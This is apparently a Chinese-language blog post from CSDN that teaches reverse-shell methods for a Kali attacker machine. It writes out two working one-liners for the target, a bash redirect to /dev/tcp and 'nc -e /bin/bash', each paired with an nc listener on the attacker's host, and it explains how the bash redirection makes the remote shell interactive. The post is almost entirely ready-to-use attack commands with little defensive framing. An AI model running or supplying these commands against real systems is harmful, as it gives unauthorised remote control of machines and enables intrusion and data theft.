反弹shell方法

版权声明:本文为博主原创文章,转载需注明出处。 https://blog.csdn.net/zz_Caleb/article/details/89054835

1、bash反弹shell

kali ip:192.168.10.130

目标机上执行命令:bash -i >& /dev/tcp/192.168.10.130/8888 0>&1

kali机执行命令:nc -lvp 8888

bash -i:在本地打开一个bash终端

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

 bash -i >& /dev/tcp/192.168.10.130/8888的执行结果就是将bash中命令的执行结果输出到kali机,而kali开启了nc对指定端口的监听模式,所以可以接收到目标机传送过来的输出结果。那么0>&1是什么作用呢,nc监听连接目标机后,尝试输入命令发现,我们输入了,命令也可以执行,但是kali端却看不到键盘的输入,0>&1就是把标准输入定向到标准输出,这样在kali机上就能看到键盘的输入了。

2、nc反弹shell(目标机上已经安装nc)

kali执行;

nc -lvp 7777

 目标机执行:

扫描二维码关注公众号,回复: 5910380 查看本文章
nc -e /bin/bash 192.168.0.4 7777

这样就能拿到shell了。

详情参考:https://www.freebuf.com/articles/system/178150.html

猜你喜欢

转载自blog.csdn.net/zz_Caleb/article/details/89054835